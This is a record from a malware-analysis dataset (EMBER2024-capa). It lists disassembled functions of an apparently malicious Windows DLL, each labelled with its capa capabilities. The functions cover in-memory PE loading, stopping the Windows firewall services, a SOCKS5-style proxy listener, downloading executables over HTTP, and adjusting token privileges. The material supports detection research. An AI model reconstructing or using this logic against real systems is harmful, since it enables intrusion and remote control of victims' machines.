joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100028ce
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
mov byte [ebp - 2], 0x5c
mov byte [ebp - 1], bl
call edi
push 0x104
mov esi, 0x1000b080
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
call edi
push ebx
push 0x1a
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push ebx
call edi
mov ecx, dword [0x1000ae40]
lea eax, [ebp - 2]
push eax
push esi
call fcn.100056dd
push dword [ebp + 8]
mov ecx, dword [0x1000ae40]
push esi
call fcn.100056dd
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100029b0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov al, byte [0x1000a544]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor edi, edi
cmp dword [0x1000b188], edi
mov dword [ebp - 4], edi
mov byte [ebp - 8], al
jne 0x10002abc
push dword [ebp + 8]
call fcn.100028ce
pop ecx
push edi
call esi
mov ebx, 0x1000b080
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10002a03
push 0x7b
push ebx
call fcn.1000283c
pop ecx
pop ecx
jmp 0x10002aae
push edi
call esi
push edi
push 0x80
push 3
push edi
push edi
push bind
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x1000b078], eax
je 0x10002aae
push edi
call esi
push edi
push dword [0x1000b078]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push edi
mov dword [0x1000b070], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov dword [0x1000b184], eax
call esi
push edi
push 0x1000b074
push dword [0x1000b070]
push dword [0x1000b184]
push dword [0x1000b078]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call esi
push dword [0x1000b078]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push dword [0x1000b070]
push dword [0x1000b184]
call fcn.10002930
push dword [0x1000b184]
call fcn.10004ba8
add esp, 0xc
cmp eax, edi
mov dword [0x1000b07c], eax
jne 0x10002ab2
xor eax, eax
jmp 0x10002af5
mov dword [0x1000b188], 1
push edi
call esi
push dword [ebp + 0xc]
push dword [0x1000b07c]
call fcn.10004fe0
pop ecx
cmp eax, edi
pop ecx
je 0x10002af2
push dword [ebp + 0x10]
push str.127.0.0.1
push dword [ebp - 8]
push edi
push dword [0x1000a124]
push 0x1000b194
call eax
add esp, 0x18
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004575
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, 0x100
lea eax, [ebp - 0x39c]
push esi
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
lea eax, [ebp - 0x39c]
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea eax, [ebp - 0x39c]
push 0x100044fe
push eax
call dword [0x1000b454]
xor ebx, ebx
mov dword [0x1000b510], eax
cmp eax, ebx
je 0x1000476b
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push ebx
push 2
call fcn.1000442c
push ebx
push ebx
push 4
call fcn.1000442c
add esp, 0x18
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [0x1000b408]
cmp dword [ebp - 0x84], 2
jne 0x1000474c
cmp dword [ebp - 0x90], 6
jae 0x10004620
call sym.MainDll.dll_MainThread
jmp 0x1000474c
lea eax, [ebp - 0x198]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x198]
push 0x1000a400
push eax
lea eax, [ebp - 0x198]
push str._s_s.exe
push eax
call dword [0x1000b438]
add esp, 0x10
lea eax, [ebp - 0x29c]
push esi
push eax
call dword [0x1000b418]
lea eax, [ebp - 0x29c]
push str.Rundll32.exe
push eax
call dword [0x1000b3e4]
lea eax, [ebp - 0x198]
push 1
push eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x198]
push eax
call fcn.10006b55
test eax, eax
pop ecx
jne 0x100046b1
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x198]
push eax
call dword [0x1000b438]
pop ecx
pop ecx
lea eax, [ebp - 0x4a0]
push esi
push eax
xor edi, edi
push dword [0x1000b398]
mov dword [ebp + 0xc], ebx
call dword [0x1000b3cc]
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x8a0]
push str._s___s__MainThread
push eax
call dword [0x1000b438]
add esp, 0x10
push 0x3e8
call dword [0x1000b3e0]
lea eax, [ebp + 0xc]
push eax
push edi
call dword [0x1000b40c]
cmp dword [ebp + 0xc], 0x103
je 0x1000472d
push edi
call dword [0x1000b3dc]
push 0xbb8
call dword [0x1000b3e0]
lea eax, [ebp - 0x8a0]
push eax
call fcn.1000226d
pop ecx
mov edi, eax
mov eax, dword [0x1000b50c]
cmp eax, 3
je 0x1000473c
cmp eax, 1
jne 0x100046ed
push 0xffffffffffffffff
push edi
call dword [0x1000b3ec]
push edi
call dword [0x1000b3dc]
push 0x64
call dword [0x1000b3e0]
mov eax, dword [0x1000b50c]
cmp eax, 3
je 0x1000476b
cmp eax, 1
je 0x1000476b
cmp dword [0x1000b514], ebx
je 0x1000474c
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10004ba8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x10004cb8
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10004cb8
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x10004c00
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10004cb8
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call dword [0x1000b4b8]
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10004cc6
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x10004c83
push eax
push edi
call fcn.10004e32
pop ecx
pop ecx
push edi
call fcn.10004eac
test eax, eax
pop ecx
je 0x10004cb1
push edi
call fcn.10004d75
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10004cbf
add eax, ebx
test eax, eax
je 0x10004cb1
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10004cbc
push edi
call fcn.1000506b
pop ecx
xor eax, eax
jmp 0x10004cc1
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004cc6
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x10004d72
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x10004d32
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x10004d5c
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call dword [0x1000b4bc]
add esp, 0xc
jmp 0x10004d5c
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call dword [0x1000b4b8]
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x10004cff
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10005721
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
lea eax, [ebp - 0x190]
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x10008260
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0x6c], 0xffffffff
xor ebx, ebx
push 0x32
lea eax, [esi + 8]
push ebx
push eax
mov dword [esi + 0x70], ebx
mov dword [esi + 4], ebx
call sub.MSVCRT.dll_memset
push 0x32
lea eax, [esi + 0x3a]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
add esp, 0x18
mov dword [esi + 0x9c], eax
lea eax, [esi + 0x84]
push eax
mov dword [esi + 0x78], ebx
mov dword [esi + 0x7c], ebx
mov byte [esi + 0x80], bl
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x10005862
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
mov edi, eax
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
je 0x100058a7
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
leave
ret

Function at 0x100058b7
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push 6
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x18]
mov dword [ebp - 0x1c], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, bind
push eax
push dword [ebp + 8]
push eax
push edx
push edx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor ecx, ecx
cmp dword [ebp - 0x18], 4
pop edi
sete cl
neg eax
sbb eax, eax
and eax, ecx
leave
ret
Function at 0x10005903
Capabilities:
Create tcp socket
Create thread
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, str.MpsSvc
mov esi, ecx
push edi
call fcn.100058b7
test eax, eax
pop ecx
je 0x10005925
push edi
call fcn.10005862
pop ecx
mov edi, str.SharedAccess
push edi
call fcn.100058b7
test eax, eax
pop ecx
je 0x1000593c
push edi
call fcn.10005862
pop ecx
mov ecx, esi
call fcn.10005804
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x6c], eax
jne 0x1000595e
xor al, al
jmp 0x10005a49
xor eax, eax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
push dword [ebp + 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
mov word [ebp - 0x12], ax
pop edi
lea eax, [ebp - 0x14]
push edi
push eax
push dword [esi + 0x6c]
xor ebx, ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x100059a6
push 0x32
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x100059b1
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x10005957
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0x6c]
call dword [sym.imp.WS2_32.dll_getsockname]
push dword [ebp - 0x12]
call dword [sym.imp.WS2_32.dll_ntohs]
push dword [ebp + 0x10]
movzx eax, ax
mov dword [esi + 4], eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10005a09
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10005a09
push dword [ebp + 0x10]
lea eax, [esi + 8]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x14]
lea eax, [esi + 0x3a]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x10
mov eax, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x10005a2b
inc dword [esi + 0x78]
push ebx
push ebx
push esi
push 0x10005a50
push ebx
push ebx
mov dword [esi + 0x7c], eax
call edi
mov dword [esi + 0x74], eax
inc dword [esi + 0x78]
push ebx
push ebx
push esi
push 0x10005aca
push ebx
push ebx
mov byte [esi + 0x80], 1
call edi
cmp eax, ebx
mov dword [esi + 0x70], eax
setne al
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x10005b9c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x10
lea eax, [ebp - 0x10]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0xe], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x10005bf0
mov ecx, ebx
call fcn.100067ed
test eax, eax
je 0x10005c25
push edi
mov ecx, ebx
call fcn.100067ed
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10005c25
lea ecx, [ebp - 0x10]
push 0x10
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10005c2e
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
push 1
pop eax
jmp 0x10005c27

Function at 0x10005c33
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x1000b394
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x10005caf
xor ebx, ebx
mov eax, dword [esi + 0xc]
xor edi, edi
cmp dword [eax + ebx], edi
je 0x10005caf
mov eax, dword [ebp + 8]
and byte [eax], 0
cmp word [esi + 0xa], di
jle 0x10005caa
test edi, edi
jle 0x10005c78
push 0x1000aca8
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov eax, dword [esi + 0xc]
mov eax, dword [eax + ebx]
movzx eax, byte [eax + edi]
push eax
lea eax, [ebp - 0x10]
push 0x1000aca4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcat
movsx eax, word [esi + 0xa]
add esp, 0x14
inc edi
cmp edi, eax
jl 0x10005c65
add ebx, 4
jmp 0x10005c4f
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005cb7
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10005d0b
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10005d0f
xor eax, eax
jmp 0x10005d48
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.10005c33
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret
Function at 0x10005d4b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
test edi, edi
jle 0x10005d81
push dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
add eax, esi
push dword [ebp + 0x14]
push 0
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10005d7c
sub edi, eax
add esi, eax
jmp 0x10005d55
or eax, 0xffffffff
jmp 0x10005d83
mov eax, esi
pop edi
pop esi
pop ebp
ret

Function at 0x10006688
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 8], ecx
mov al, byte [esi]
mov byte [ebp - 2], 5
cmp al, 5
je 0x100066b0
movzx eax, al
jmp 0x100067e6
mov al, byte [esi + 2]
test al, al
je 0x100066bf
cmp al, 2
jne 0x100067df
lea eax, [ecx + 8]
push eax
call sub.MSVCRT.dll_strlen
neg eax
mov ebx, dword [ebp + 8]
pop ecx
sbb al, al
push 0
and eax, 2
push 2
mov byte [ebp - 1], al
lea eax, [ebp - 2]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100067df
cmp byte [ebp - 1], 2
jne 0x100067e3
mov edi, 0x100
lea eax, [ebp - 0x108]
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x208]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x5000
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100067df
test eax, eax
je 0x100067df
cmp byte [esi], 1
jne 0x100067df
mov al, byte [esi + 1]
test al, al
je 0x1000676b
movzx eax, al
cmp eax, edi
jg 0x1000676b
push eax
lea eax, [esi + 2]
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
movzx eax, byte [esi + 1]
movsx ecx, byte [eax + esi + 2]
add eax, esi
test ecx, ecx
je 0x10006792
cmp ecx, edi
jg 0x10006792
add eax, 3
push ecx
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp - 8]
add eax, 8
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x100067c9
lea eax, [ebp - 0x208]
push eax
mov eax, dword [ebp - 8]
add eax, 0x3a
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x100067c9
and byte [esi + 1], al
jmp 0x100067cd
or byte [esi + 1], 0xff
push 0
push 2
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100067e3
xor eax, eax
jmp 0x100067e6
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x100067ed
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10006808
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret 4
Function at 0x10006a32
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x100069cd
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x10006b76
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10008268
push 0x10007410
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push str.GetThreadDesktop
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push ebx
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push ebx
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push ebx
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x30], eax
push str.GetCurrentThreadId
push eax
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x34]
push eax
push 0x100
lea eax, [ebp - 0x13c]
push eax
push 2
push dword [ebp + 8]
call dword [ebp - 0x20]
test eax, eax
je 0x10006c32
push dword [ebp + 8]
call dword [ebp - 0x140]
test eax, eax
jne 0x10006c37
mov dword [ebp - 0x28], edi
jmp 0x10006c3b
push esi
call dword [ebp - 0x38]
or dword [ebp - 4], 0xffffffff
call fcn.10006c59
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006d36
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
xor ebx, ebx
push str.wininet.dll
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 1
mov byte [ebp - 1], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
mov dword [ebp - 0xc], edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x10006da4
push str.InternetOpenUrlA
push edi
call esi
push ebx
push bind
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x10006db6
cmp edi, ebx
je 0x10006daf
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x10006e6f
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x10006e45
mov edi, 0x400
push edi
lea eax, [ebp - 0x41c]
push ebx
push eax
call dword [0x1000b4bc]
add esp, 0xc
push str.InternetReadFile
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x41c]
push edi
push ecx
push dword [ebp - 0x18]
call eax
cmp dword [ebp - 0x14], ebx
je 0x10006e14
cmp word [ebp - 0x41c], 0x5a4d
jne 0x10006e36
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x41c]
push dword [ebp - 8]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], ebx
jbe 0x10006e39
jmp 0x10006dd7
mov byte [ebp - 1], bl
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call esi
push dword [ebp - 0x18]
mov esi, eax
call esi
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x10006e6c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006e74
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ADVAPI32.dll
mov byte [ebp - 1], 1
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenProcessToken
push ebx
call esi
push str.AdjustTokenPrivileges
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.LookupPrivilegeValueA
push ebx
mov dword [ebp - 0x18], eax
call esi
push str.kernel32.dll
mov dword [ebp - 0x14], eax
call edi
push str.GetCurrentProcess
push eax
mov dword [ebp - 0xc], eax
call esi
lea ecx, [ebp - 8]
push ecx
push 0x28
call eax
push eax
call dword [ebp - 0x10]
test eax, eax
je 0x10006f48
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], 1
neg eax
sbb eax, eax
and eax, 2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
push 0
call dword [ebp - 0x14]
xor eax, eax
lea ecx, [ebp - 0x28]
push eax
push eax
push 0x10
push ecx
push eax
push dword [ebp - 8]
call dword [ebp - 0x18]
push str.KERNEL32.dll
call edi
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10006f23
and byte [ebp - 1], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x10006f39
push ebx
call esi
cmp dword [ebp - 0xc], 0
je 0x10006f44
push dword [ebp - 0xc]
call esi
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret